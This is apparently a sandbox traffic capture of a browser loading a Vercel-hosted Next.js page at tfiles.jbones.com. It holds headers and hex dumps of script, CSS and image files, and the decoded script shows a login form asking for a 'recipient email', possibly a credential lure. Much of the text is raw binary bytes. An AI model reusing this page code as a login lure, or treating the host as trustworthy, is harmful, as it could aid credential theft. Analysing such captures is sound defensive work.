2025-03-27 17:56:24 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 69 3d 6e 28 32 35 36 38 29 2c 72 3d 6e 2e 6e 28 69 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i)
2025-03-27 17:56:24 UTC	928	IN	Data Raw: 67 65 3a 65 3d 3e 69 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 3a 65 2c 6f Data Ascii: ge:e=>i(e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value:e,o
2025-03-27 17:56:24 UTC	138	IN	Data Raw: 75 74 3a 22 49 6e 64 65 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: ut:"Index_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	578	OUT	GET /_next/static/eFfmITpsazxu2yW-tP9kw/_buildManifest.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	619	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 427 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "07deff47446db83d6ed347ef89af656d" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/eFfmITpsazxu2yW-tP9kw/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::rtkhz-1743098184632-47568812552e Connection: close
2025-03-27 17:56:24 UTC	427	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 31 38 36 2d 65 34 30 31 37 31 37 64 39 65 38 62 38 34 32 62 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 32 61 62 30 61 35 61 34 37 36 39 34 30 64 30 35 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 33 39 38 36 64 64 35 38 33 34 66 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-2ab0a5a476940d05.js"],"/_error":["static/chunks/pages/_error-3986dd5834f

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	637	OUT	GET /background.jpg HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tfiles.jbones.com/_next/static/css/19d09a6113afa007.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	555	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::vpwhz-1743098184722-8f4686a68107 Connection: close
2025-03-27 17:56:24 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-03-27 17:56:24 UTC	1000	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-03-27 17:56:24 UTC	4744	IN	Data Raw: d2 75 28 96 7b 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 Data Ascii: u({;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75
2025-03-27 17:56:24 UTC	5930	IN	Data Raw: 87 fc 17 a6 eb 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D
2025-03-27 17:56:24 UTC	7116	IN	Data Raw: e1 d8 3f 11 64 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 Data Ascii: ?dmCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l
2025-03-27 17:56:24 UTC	8302	IN	Data Raw: f7 8f 70 db d1 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc Data Ascii: p6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~v
2025-03-27 17:56:24 UTC	6676	IN	Data Raw: 6f 1a 68 9a af 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 Data Ascii: oh\|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7
2025-03-27 17:56:24 UTC	10674	IN	Data Raw: f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 Data Ascii: 2\|PGaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSO
2025-03-27 17:56:24 UTC	1474	IN	Data Raw: 92 97 c4 1a 85 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#
2025-03-27 17:56:24 UTC	13046	IN	Data Raw: 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 03 a3 fb e2 bf 24 3f e0 bc 9f f2 58 be 11 ff 00 d8 99 ab 7f ea 6f e2 9a fd 6f 8f ef 8a fc 90 ff 00 82 f2 7f c9 62 f8 47 ff 00 62 66 ad ff 00 a9 bf 8a 6b 97 11 d0 5f 64 fe bf b4 5f f9 04 c3 fe ed 5a 4f bb 55 34 5f f9 07 c7 fe ed 5b 4f bb 5e 69 52 11 56 b8 bf 88 9a 3c 77 99 de f8 ae d2 4f b8 6b c8 7e 34 6b 97 36 7b 96 3a d6 8c 6f 31 c4 e5 75 4f 09 d9 86 7f 9a 35 ff 00 80 25 65 af 83 ec 7c ef ff 00 62 b8 7f 10 78 db 50 fb 43 f9 72 4c 16 b1 ac fc 71 a8 45 a8 2a f9 93 6d ff 00 76 bd 98 d1 9f 72 79 a2 7b f7 85 fe 15 c7 a8 47 f2 34 6d ff 00 00 5a e9 2d 7e 06 a4 7f 3e e5 ff 00 be 45 50 f8 03 ab 5c 5e d9 c7 e6 7c d5 eb Data Ascii: PEPEPEPEPEPEPEPEPEPEPEPEP$?XoobGbfk_d_ZOU4_[O^iRV<wOk~4k6{:o1uO5%e\|bxPCrLqE*mvry{G4mZ-~>EP\^\|

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	597	OUT	GET /favicon.ico HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::wn2j7-1743098184804-1c58502809d6 Connection: close
2025-03-27 17:56:24 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:25 UTC	698	OUT	GET /favicon.ico HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "4b5febb3fb4517a225620b5fe05016d2" If-Modified-Since: Wed, 26 Mar 2025 12:34:21 GMT
2025-03-27 17:56:25 UTC	226	IN	HTTP/1.1 304 Not Modified Cache-Control: public, max-age=0, must-revalidate Date: Thu, 27 Mar 2025 17:56:25 GMT Server: Vercel X-Vercel-Cache: HIT X-Vercel-Id: iad1::w7swx-1743098185507-ea44d25f9743 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:25 UTC	418	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:26 UTC	594	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105724 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:25 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::8hwqt-1743098185958-cf1f72a6f7d9 Connection: close
2025-03-27 17:56:26 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Timestamp	Bytes transferred	Direction	Data
